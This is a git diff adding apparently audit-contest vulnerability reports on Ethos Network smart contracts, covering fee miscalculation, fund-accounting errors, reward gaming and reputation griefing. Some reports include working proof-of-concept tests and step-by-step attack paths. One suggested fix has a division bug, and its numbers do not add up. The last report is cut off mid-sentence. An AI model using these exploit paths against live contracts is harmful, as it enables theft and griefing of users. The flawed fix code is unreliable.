`sellVotes` function as follows: + +```diff + +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/439.md b/439.md new file mode 100644 index 0000000..86821d5 --- /dev/null +++ b/439.md @@ -0,0 +1,91 @@ +Broad Walnut Wombat + +High + +# An incorrect fee calculation will lead to users paying fees that are higher than expected. + +### Summary +The formula `fee = total - (total * 10000 / (10000 + feeBasisPoints))` are used in the protocol. This derivaton of formula is correct, but it works well only when there is only one fee mechanism. However, three kinds of fee are calculated at once when vouching. As a result, users pay fees more than expected. + +### Root Cause + +The formula `fee = total - (total * 10000 / (10000 + feeBasisPoints))` are used in the protocol. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989 +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return +@> total - +@> (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +This derivaton of formula is correct, but it works well only when there is only one kind of fee. +However, three kinds of fee are calculated at once when vouching. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938 +```solidity +@> uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +@> uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +@> uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); +``` + +As a result, users pay fees more than expected. + + +### Internal pre-conditions + entryProtocolFeeBasisPoints = 100 + entryDonationFeeBasisPoints = 200 + entryVouchersPoolFeeBasisPoints = 300 + +### External pre-conditions +none + +### Attack Path + Alice vouches 1 ether to Bob. + Then, the total amount of fee is: + 1e18 - (1e18 * 10000 / (10000 + 100)) + + 1e18 - (1e18 * 10000 / (10000 + 200)) + + 1e18 - (1e18 * 10000 / (10000 + 300)) = 58635046828497813 + The actually vouched amount is: + 1e18 - 39361292638517065 = 941364953171502187 + + In fact, the expected total amount of fee is: + 941364953171502187 * 100 / 10000 + + 941364953171502187 * 200 / 10000 + + 941364953171502187 * 300 / 10000 = 56481897190290129 + + 58635046828497813 - 56481897190290129 = 2153149638207684 + + So, alice pays 2153149638207684 wei more than expected, which is about 3.8% of the expected amount of total fee. + This percentage will increase as the percentage of all fees rises. + +### Impact +Users pay fees more than expected. + +### PoC +none + +### Mitigation +The formula `fee = total - (total * 10000 / (10000 + feeBasisPoints))` are used with the sum of all fee percentage. + +```diff +- uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +- uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +- uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); ++ uint256 totalFeeBasePoints = entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints; ++ uint256 totalFeeAmount= calcFee(amount, totalFeeBasePoints); ++ uint256 donationFee = totalFeeAmount * entryDonationFeeBasisPoints / totalFeeAmount; ++ uint256 vouchersPoolFee = totalFeeAmount * entryVouchersPoolFeeBasisPoints / totalFeeAmount; ++ uint256 protocolFee = totalFeeAmount - donationFee - vouchersPoolFee; +``` \ No newline at end of file diff --git a/440.md b/440.md new file mode 100644 index 0000000..8abdbf3 --- /dev/null +++ b/440.md @@ -0,0 +1,53 @@ +Recumbent Cerulean Fish + +Medium + +# configuredMinimumVouchAmount being deposited is less than value we set + +### Summary + +According to Ethos program's description: Minimum vouch amount must be >= ABSOLUTE_MINIMUM_VOUCH_AMOUNT (0.0001 ether), but in reality we check if the msg.value = to set amount and apply fees, which reducing actual amount and breaking our assumption +```solidity + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); +``` + + +### Root Cause + +EthosVauch.sol:vouchByProfileId() +```solidity + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +It breaks protocol assumption about the minimum value being vouched + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/441.md b/441.md new file mode 100644 index 0000000..207d950 --- /dev/null +++ b/441.md @@ -0,0 +1,92 @@ +Broad Walnut Wombat + +High + +# In the `ReputationMarket.buyVotes()` function, the entry fees are incorrectly added to `marketFunds` because `fundsPaid` includes these fees. + +### Summary +The state variable `marketFunds` stores the total funds paid to the market for each `profileId`. It should not include the paid fees, as the amount in `marketFunds` must be deducted upon withdrawal. However, the fees are incorrectly added to `marketFunds` when buying votes, leading to a loss of funds. + +### Root Cause +The state variable `marketFunds` stores the total funds paid to the market for each `profileId` when buying votes. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +```solidity + marketFunds[profileId] += fundsPaid; +``` + +However, `protocolFee` and `donation` are incorrectly added to `fundsPaid` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 +```solidity + fundsPaid += protocolFee + donation; +``` + +Because `protocolFee` is already sent to `protocolFeeAddress` and `donation` can be claimed any time. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116-L1127 +```solidity + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { +@> donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } +@> fees = protocolFee + donation; + } +``` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L570-L585 +```solidity + function withdrawDonations() public whenNotPaused returns (uint256) { +@> uint256 amount = donationEscrow[msg.sender]; + if (amount == 0) { + revert InsufficientFunds(); + } + + // Reset escrow balance before transfer to prevent reentrancy + donationEscrow[msg.sender] = 0; + + // Transfer the funds +@> (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Donation withdrawal failed"); + + emit DonationWithdrawn(msg.sender, amount); + return amount; + } +``` + +When withdrawing funds from a graduated market, the whole amount stored in `marketFunds` is withdrawn. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678 +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + [... ...] +@> _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); +@> marketFunds[profileId] = 0; + } +``` + +Therefore, an insufficient remaining ether balance in `ReputationMarket` results in a loss of funds for users. + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact +An insufficient remaining ether balance in `ReputationMarket` results in a loss of funds for users. + +### PoC +none + +### Mitigation +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 +```diff +- fundsPaid += protocolFee + donation; +``` \ No newline at end of file diff --git a/442.md b/442.md new file mode 100644 index 0000000..017f6ba --- /dev/null +++ b/442.md @@ -0,0 +1,422 @@ +Fresh Mulberry Walrus + +High + +# EthosVouch:_rewardPreviousVouchers Disproportionately Benefits Early Vouchers + +### Summary + +Rewarding only previous vouchers in EthosVouch:_rewardPreviousVouchers disproportionately benefits initial vouchers as initial vouchers can game the system to unfairly generate rewards from all future vouchers of a profile. + +### Root Cause +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L719-L731 + +The choice to proportionally reward only previous vouchers based on their vouch amount creates unfair benefits to initial vouchers, and can be further exploited by vouching the ABSOLUTE_MINIMUM_VOUCH_AMOUNT for all new profiles created. Instead, vouchers should be eligible for voucher fees generated by their own vouch. They should receive the proportional share of the vouch fees generated by their own vouch. + +### Internal pre-conditions + +1. The entryVouchersPoolFeeBasisPoints is greater than 0 (set in initialization) + +### External pre-conditions + +1. A user must have a profile, and be eligible to vouch for another profile. Ideally there are no other vouches for that profile yet. + +### Attack Path + +1. The attacker sees a new profile being created/added to Ethos +2. The attacker vouches for the address with the ABSOLUTE_MINIMUM_VOUCH_AMOUNT +3. The attacker receives ~(100*entryVouchersPoolFeeBasisPoints/BASIS_POINT_SCALE)% of the next vouch regardless of size. Additional fees make the value a bit less. +4. The attacker will receive disproportional benefits due to reward structure in the long term. + +### Impact + +Vouchers past the first loses approximately: +`(VouchAmount/(VouchAmount + AlreadyVouchedAmount)) * (100*entryVouchersPoolFeeBasisPoints/BASIS_POINT_SCALE)%` + +For the initialization value of 200 for entryVouchersPoolFeeBasisPoints is 2% of their vouch amount in fees if the VouchAmount >> AlreadyVouchedAmount. + +This significantly affects any vouch which the vouch amount is significant compared to the total amount vouched. Even if there are 100 previous vouchers, if the 101st vouch is the same size as the previous 100 combined, they are expected to lose ~1% (VouchAmount / 2*VouchAmount) of fees due to the distribution logic. + +To prove this is a flaw in the contract, there exists a method to mitigate this additional fee: + +To mitigate the fee caused by this logic flaw, the voucher should first vouch an amount comparable to the total amount already vouched. Then they should call the EthosVouch:increaseVouch method to increase their vouch amount to the intended value. By doing this, they are entered into the vouchIdsForSubjectProfileId array, and earn a significant portion of the fees on the larger secondary vouch amount. In some cases based on the total previous vouched amount and the intended vouch amount, the first vouch should be a multiple of the previous vouched amount for the best mitigation. + +This also has the adverse effect of creating a financially incentive to "game" the system by min vouching new profiles, and using both EthosVouch:vouchByAddress and EthosVouch:increaseVouch to prevent themselves from losing funds unnecessarily. + + + +### PoC + +This PoC uses Foundry for the Ethos contracts. The main test is in the DistributeRewards:testDistributeRewards + +```solidity +//SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import {Script} from "lib/forge-std/src/Script.sol"; +import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; + +// Contracts +import {ContractAddressManager} from "src/utils/ContractAddressManager.sol"; +import {SignatureVerifier} from "src/utils/SignatureVerifier.sol"; +import {InteractionControl} from "src/utils/InteractionControl.sol"; +import {EthosAttestation} from "src/EthosAttestation.sol"; +import {EthosProfile} from "src/EthosProfile.sol"; +import {EthosReview} from "src/EthosReview.sol"; +import {EthosVote} from "src/EthosVote.sol"; +import {PaymentToken} from "src/mocks/PaymentToken.sol"; +import {EthosVouch} from "src/EthosVouch.sol"; +import {ReputationMarket} from "src/ReputationMarket.sol"; + +contract EthosDeploy is Script { + ContractAddressManager internal contractAddressManager; + SignatureVerifier internal signatureVerifier; + InteractionControl internal interactionControl; + EthosAttestation internal ethosAttestation; + EthosProfile internal ethosProfile; + EthosReview internal ethosReview; + EthosVote internal ethosVote; + EthosVouch internal ethosVouch; + ReputationMarket internal reputationMarket; + + PaymentToken internal tokenOne; + PaymentToken internal tokenTwo; + + ERC1967Proxy internal proxyEthosAttestation; + ERC1967Proxy internal proxyEthosProfile; + ERC1967Proxy internal proxyEthosReview; + ERC1967Proxy internal proxyEthosVote; + ERC1967Proxy internal proxyEthosVouch; + ERC1967Proxy internal proxyReputationMarket; + + uint256 signerPk = uint256(keccak256(abi.encode("SIGNER"))); + + address _admin = 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720; + address _owner = address(0x2222); + address _expectedSigner = vm.addr(signerPk); + address internal _tokenHolder = address(0x4444); + address _feeHolder = address(0x5555); + + function run() public { + vm.startPrank(_owner); + contractAddressManager = new ContractAddressManager(); + signatureVerifier = new SignatureVerifier(); + interactionControl = new InteractionControl( + _owner, + address(contractAddressManager) + ); + + bytes memory initData = abi.encodeWithSignature( + "initialize(address,address,address,address,address)", + _owner, + _admin, + _expectedSigner, + address(signatureVerifier), + address(contractAddressManager) + ); + + ethosAttestation = new EthosAttestation(); + proxyEthosAttestation = new ERC1967Proxy( + address(ethosAttestation), + initData + ); + ethosProfile = new EthosProfile(); + proxyEthosProfile = new ERC1967Proxy(address(ethosProfile), initData); + + ethosReview = new EthosReview(); + proxyEthosReview = new ERC1967Proxy(address(ethosReview), initData); + + ethosVote = new EthosVote(); + proxyEthosVote = new ERC1967Proxy(address(ethosVote), initData); + + bytes memory vouchData = abi.encodeWithSignature( + "initialize(address,address,address,address,address,address,uint256,uint256,uint256,uint256)", + _owner, + _admin, + _expectedSigner, + address(signatureVerifier), + address(contractAddressManager), + _feeHolder, + 50, + 150, + 200, + 100 + ); + + ethosVouch = new EthosVouch(); + proxyEthosVouch = new ERC1967Proxy(address(ethosVouch), vouchData); + + reputationMarket = new ReputationMarket(); + proxyReputationMarket = new ERC1967Proxy( + address(reputationMarket), + initData + ); + address[] memory contractAddresses = new address[](7); + contractAddresses[0] = address(proxyEthosAttestation); + contractAddresses[1] = address(proxyEthosProfile); + contractAddresses[2] = address(proxyEthosReview); + contractAddresses[3] = address(proxyEthosVote); + contractAddresses[4] = address(proxyEthosVouch); + contractAddresses[5] = address(interactionControl); + string[] memory contractNames = new string[](7); + contractNames[0] = "ETHOS_ATTESTATION"; + contractNames[1] = "ETHOS_PROFILE"; + contractNames[2] = "ETHOS_REVIEW"; + contractNames[3] = "ETHOS_VOTE"; + contractNames[4] = "ETHOS_VOUCH"; + contractNames[5] = "ETHOS_INTERACTION_CONTROL"; + contractAddressManager.updateContractAddressesForNames( + contractAddresses, + contractNames + ); + vm.stopPrank(); + } +} + +import {Test, console2 as console} from "lib/forge-std/src/Test.sol"; + +contract DistributeRewards is Test, EthosDeploy { + IEthosVouch internal target; + address internal _target; + + address internal _alice; + address internal _bob; + address internal _carl; + address internal _diane; + address[] internal users; + + uint256 internal constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; + + function setUp() public virtual { + EthosDeploy.run(); + + target = IEthosVouch(address(proxyEthosVouch)); + _target = address(target); + + ///@dev First three Anvil generated addresses + _alice = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266; + _bob = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8; + _carl = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC; + _diane = 0x90F79bf6EB2c4f870365E785982E1f101E93b906; + + users.push(_alice); + users.push(_bob); + users.push(_carl); + users.push(_diane); + for (uint256 i; i < users.length; ++i) { + vm.deal(users[i], 1e20); + } + CreateProfile(_owner, _alice, 1); + CreateProfile(_owner, _bob, 1); + CreateProfile(_owner, _carl, 1); + CreateProfile(_owner, _diane, 1); + } + + function CreateProfile( + address sender, + address receiver, + uint256 refererId + ) internal { + bool success; + vm.prank(sender); + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature("inviteAddress(address)", receiver) + ); + require(success, "Failed Invite Address"); + vm.prank(receiver); + (success, ) = address(proxyEthosProfile).call( + abi.encodeWithSignature("createProfile(uint256)", refererId) + ); + require(success, "Failed Create Profile"); + } + + function testDistributeRewards() public { + // VouchID 0 - Diane initial for alice + // VouchID 1 - Diane initial for bob + // VouchId 2 - Carl full vouch for alice + // VouchID 3 - Carl small vouch for bob + // VouchID 4 - Carl vouch for diane without interference (baseline) + uint256 victimDepositAmount = 1 ether; + console.log("Victim Initial Deposit: ", victimDepositAmount); + + vm.prank(_diane); + target.vouchByAddress{value: ABSOLUTE_MINIMUM_VOUCH_AMOUNT}( + _alice, + "Ez Money", + "Gimmie" + ); + vm.prank(_diane); + target.vouchByAddress{value: ABSOLUTE_MINIMUM_VOUCH_AMOUNT}( + _bob, + "Ez Money", + "Gimmie" + ); + + ( + uint256 fullVouchAttackerBalance, + uint256 fullVouchVictimBalance + ) = fullVouchAtStart(); + ( + uint256 minVouchAttackerBalance, + uint256 minVouchVictimBalance + ) = minVouchAtStart(); + + uint256 balanceWithoutInterference = withoutInterference(); + + console.log("Without Interference"); + console.log(""); + console.log("Expected W/o Attack : ", balanceWithoutInterference); + console.log(""); + + console.log("Full Vouch At Start"); + console.log(""); + console.log("Victim Final Amount : ", fullVouchVictimBalance); + console.log("Attacker Final Amount : ", fullVouchAttackerBalance); + console.log(""); + + console.log("Min Vouch At Start"); + console.log(""); + console.log("Victim Final Amount : ", minVouchVictimBalance); + console.log("Attacker Final Amount : ", minVouchAttackerBalance); + console.log(""); + + console.log("Difference In Increase Stake"); + console.log(""); + console.log( + "Attacker Diff Amount : ", + fullVouchAttackerBalance - minVouchAttackerBalance + ); + console.log(""); + } + + function fullVouchAtStart() + public + returns (uint256 finalAttackerBalance, uint256 finalVictimBalance) + { + vm.prank(_carl); + target.vouchByAddress{value: 1 ether}( + _alice, + "Great Person", + "Very Cool" + ); + + (, , , , , , finalAttackerBalance, , , ) = target.vouches(0); // VouchId 2 - Carl full vouch for alice + (, , , , , , finalVictimBalance, , , ) = target.vouches(2); // VouchID 0 - Diane initial for alice + } + + function minVouchAtStart() + public + returns (uint256 finalAttackerBalance, uint256 finalVictimBalance) + { + vm.startPrank(_carl); + target.vouchByAddress{value: 0.001 ether}( + _bob, + "Great Person", + "Very Cool" + ); + + target.increaseVouch{value: 1 ether - 0.001 ether}(3); + + vm.stopPrank(); + + (, , , , , , finalAttackerBalance, , , ) = target.vouches(1); // VouchID 1 - Diane initial for bob + (, , , , , , finalVictimBalance, , , ) = target.vouches(3); // VouchID 3 - Carl small vouch for bob + } + + function withoutInterference() public returns (uint256 finalBalance) { + vm.prank(_carl); + target.vouchByAddress{value: 1 ether}(_diane, "Not Very Nice", "Bad"); + (, , , , , , finalBalance, , , ) = target.vouches(4); + } +} + +interface IEthosVouch { + struct Vouch { + bool archived; + bool unhealthy; + uint256 authorProfileId; + address authorAddress; + uint256 vouchId; + uint256 subjectProfileId; + uint256 balance; + string comment; + string metadata; + ActivityCheckpoints activityCheckpoints; + } + + struct ActivityCheckpoints { + uint256 vouchedAt; + uint256 unvouchedAt; + uint256 unhealthyAt; + } + + function vouches( + uint256 + ) + external + view + returns ( + bool archived, + bool unhealthy, + uint256 authorProfileId, + address authorAddress, + uint256 vouchId, + uint256 subjectProfileId, + uint256 balance, + string memory comment, + string memory metadata, + EthosVouch.ActivityCheckpoints memory activityCheckpoints + ); + + function vouchByAddress( + address subjectAddress, + string memory comment, + string memory metadata + ) external payable; + + function increaseVouch(uint256 vouchId) external payable; +} + + +``` + +Scenario: +The victim wants to vouch 1 ether for a user. +The attacker first vouches for the user with ABSOLUTE_MINIMUM_VOUCH_AMOUNT (0.0001 ether) + +Results: +Without the attacker, results in 0.980 ether in vouches.balance after fees +Depositing the full amount results in 0.9606 ether (~2% loss) +Depositing 0.001 ether (10*ABSOLUTE_MINIMUM_VOUCH_AMOUNT) then (1-0.001)ether results in 0.9781 ether (~0.022% loss) +This results in a preventable loss of (~1.78%) + + +```solidity +Ran 1 test for script/EthosDeploy.s.sol:DistributeRewards +[PASS] testDistributeRewards() (gas: 1914587) +Logs: + Victim Initial Deposit: 1000000000000000000 + Without Interference + + Expected W/o Attack : 980246550498737837 + + Full Vouch At Start + + Victim Final Amount : 960638707361482935 + Attacker Final Amount : 19705867792304775 + + Min Vouch At Start + + Victim Final Amount : 978089991357200677 + Attacker Final Amount : 2254583796587031 + + Difference In Increase Stake + + Attacker Diff Amount : 17451283995717744 + + +``` + +### Mitigation + +EthosVouch:_rewardPreviousVouchers should also reward the current voucher in proportion of their vouch amount, and not only the previous vouchers. This does not change the result of the first vouch of a profile, as the fees are paid to themselves. \ No newline at end of file diff --git a/443.md b/443.md new file mode 100644 index 0000000..9762e29 --- /dev/null +++ b/443.md @@ -0,0 +1,56 @@ +Broad Walnut Wombat + +High + +# The design inconsistency in `increaseVouch` and `unvouvh()`. + +### Summary + +The current design allows holders of the same `profileId` to increase a vouch created by other holders with the same `profileId`. + +However, only the vouch creator can unvouch, and the vouch creator retains all unvouched funds. + +This mechanism poses a potential risk of fund loss for those who increase the vouch. + +### Root Cause + +In the `increaseVouch` function, any account who has the same `profileId` with the vouch creator. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L24-L27 +```solidity +24: uint256 profileId = IEthosProfile( +25: contractAddressManager.getContractAddressForName(ETHOS_PROFILE) +26: ).verifiedProfileIdForAddress(msg.sender); +27: _vouchShouldBelongToAuthor(vouchId, profileId); +``` + +However, the `unvouch()` function can only be called by the vouch creator. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L456-L461 +```solidity +456: // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch +457: // however, we don't care about the status of the address's profile; funds are always attached +458: // to an address, not a profile +459: if (vouches[vouchId].authorAddress != msg.sender) { +460: revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); +461: } +``` + +The comment says that funds are always attached not a profile, which is contradict with the fact that `increaseVouch` can be called by +any account who has the same `profileId` with the vouch creator. + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact +Loss of fund to the accounts who calls the `increaseVouch` function. + +### PoC +none + +### Mitigation +The amounts of funds should be stored individually when creating or increasing vouch. \ No newline at end of file diff --git a/444.md b/444.md new file mode 100644 index 0000000..9df7b55 --- /dev/null +++ b/444.md @@ -0,0 +1,45 @@ +Lively Violet Troll + +Medium + +# Anyone who `vouch` for any `profileId` can `unvouch` and call `markUnhealthy` even they are not mutually vouched (3,3) + +### Summary + +Unvouch [documentation](https://whitepaper.ethos.network/ethos-mechanisms/vouch#unvouch) stating that if the vouches are mutually vouched (3,3), the person who doing unvouch can mark the unvouch as unhealty within 24 hours to signal to the network the vouch ended on poor terms. +However such implementation is not exist in the contract, so no one needs the vouch to be mutually vouched to mark the unvouch as unhealty. + +### Root Cause + +Function [`EthosVouch::markUnhealthy`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496-L510) does not check if the corresponding `subjectId` and author of `vouchId` are mutually vouched to each other. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + + +1. alice vouch bob and got vouchId 1 +2. alice unvouch and markUnhealthy bob +3. alice vouch bob again, now with vouchId 2 +4. alice unvouch and markUnhealthy bob + +repeat until bob have a bad reputation by having multiple vouch that marked as unhealthy + +### Impact + +1. anyone can grief the reputation of any `profileId` by exploiting the attack path. +2. core concept `unhealthy` became unreliable stats for any `profileId` because of this exploit is so easy to do + +### PoC + +_No response_ + +### Mitigation + +to support the planned core concept, the suggestion is to add check on `EthosVouch::markUnhealthy` to check if the vouch actually mutually vouched to each other (3,3) \ No newline at end of file diff --git a/445.md b/445.md new file mode 100644 index 0000000..4d86181 --- /dev/null +++ b/445.md @@ -0,0 +1,144 @@ +Modern Mulberry Seal + +High + +# Incorrect fee calculation will overcharge users buying votes. + +### Summary + +In `ReputationMarket` users buying votes provide an input amount, but only a portion may be needed for the actual vote purchase - any excess is returned to them. However, the entry fee is incorrectly calculated on the total provided amount rather than the actual invested amount (amount used for votes purchase). This results in users paying higher fees than they should. + +### Root Cause + +In [_calculateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960), fees are calculated on the entire input amount before determining how many votes can actually be purchased. While this ensures sufficient funds are reserved for fees, it results in users being overcharged when only a portion of their input amount is used for voting. The fees should be recalculated based on the actual amount spent on votes, with the excess fees included in the user's refund. + +### Internal pre-conditions + +1. Admin needs to set the entry protocol fee +2. Admin needs to set the donation fee + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Users call [buyVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) + +### Impact + +Due to incorrect fee calculations, users, when purchasing votes, are charged 10-60% more in fees than they should be, which represents an additional 1-6% of their provided amount (assuming a 10% total entry fee). + +### PoC + +Add this test in test/reputationMarket/rep.fees.test.ts + + +```javascript +describe('PoC', () => { + it('should charge user more fee than it should', async () => { + const feeBasisPoint = 500 // 5% + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(feeBasisPoint); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(feeBasisPoint); + + // Picked so that the change amount is close to the max vote price + const buyAmount = ethers.parseEther('0.0129629'); // To check the lower limits use numbers >=0.01296299 and <=0.012963 + const { + simulatedVotesBought, + simulatedFundsPaid, + simulatedNewVotePrice, + simulatedProtocolFee, + simulatedDonation, + simulatedMinVotePrice, + simulatedMaxVotePrice } = await userA.simulateBuy({ buyAmount }); + + const actualFee = simulatedProtocolFee + simulatedDonation; + const netFundsPaid = simulatedFundsPaid - actualFee; + const actualChange = buyAmount - simulatedFundsPaid; // Change returned to the user + console.log('Simulated funds paid: ', ethers.formatEther(simulatedFundsPaid)); // This includes the fee + console.log('Simulated net funds paid: ', ethers.formatEther(netFundsPaid)); + console.log('Change returned to the user: ', ethers.formatEther(actualChange)); + console.log('Simulated Max Vote Price: ', ethers.formatEther(simulatedMaxVotePrice)); + + + + const expectedEntryFee = (netFundsPaid * BigInt(feeBasisPoint)) / BASIS_POINTS; + const expectedDonationFee = (netFundsPaid * BigInt(feeBasisPoint)) / BASIS_POINTS; + const expectedFee = expectedEntryFee + expectedDonationFee; + const expectedChange = buyAmount - netFundsPaid - expectedFee; + + console.log('Expected fee: ', ethers.formatEther(expectedFee)); + console.log('Actual fee: ', ethers.formatEther(actualFee)); + + console.log('Expected change: ', ethers.formatEther(expectedChange)); + console.log('Actual change: ', ethers.formatEther(actualChange)); + + console.log('Bips higher fee: ', (actualFee - expectedFee) * BASIS_POINTS / actualFee); + console.log('Fee diff to provided amount: ', (actualFee - expectedFee) * BASIS_POINTS / buyAmount); + }); + }); +``` + +```logs + PoC +Simulated funds paid: 0.00629629 +Simulated net funds paid: 0.005 +Change returned to the user: 0.00666661 +Simulated Max Vote Price: 0.006666666666666666 +Expected fee: 0.0005 +Actual fee: 0.00129629 +Expected change: 0.0074629 +Actual change: 0.00666661 +Bips higher fee: 6142n +Fee diff to provided amount: 614n +``` + +### Mitigation + +One possible solution: + +```diff + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } ++ (, protocolFee, donation) = previewFees(fundsPaid, true); + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` \ No newline at end of file diff --git a/446.md b/446.md new file mode 100644 index 0000000..8588a25 --- /dev/null +++ b/446.md @@ -0,0 +1,52 @@ +Droll Olive Bobcat + +High + +# In the `ReputationMarket.sellVotes()` function, `protocolFee` should also be deducted from `marketFunds` because `protocolFee` is already sent. + +### Summary +If a user sells a vote immediately after buying it, he can make some profit due to the difference of two prices. A malicious user can drain a reputation market by repeating the action. + +### Root Cause +When selling votes, `fundsReceived`, the amount of received funds is deducted from the `marketFunds`.(L522) + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 +```solidity +522: marketFunds[profileId] -= fundsReceived; +``` + +However, `fundsReceived` does not include `protocolFee`.(When selling, no `donation`). +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1151 +```solidity + funds = amount - protocolFee - donation; +``` + +The `protocolFee` is amount of fees which was already sent to the protocol. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1123 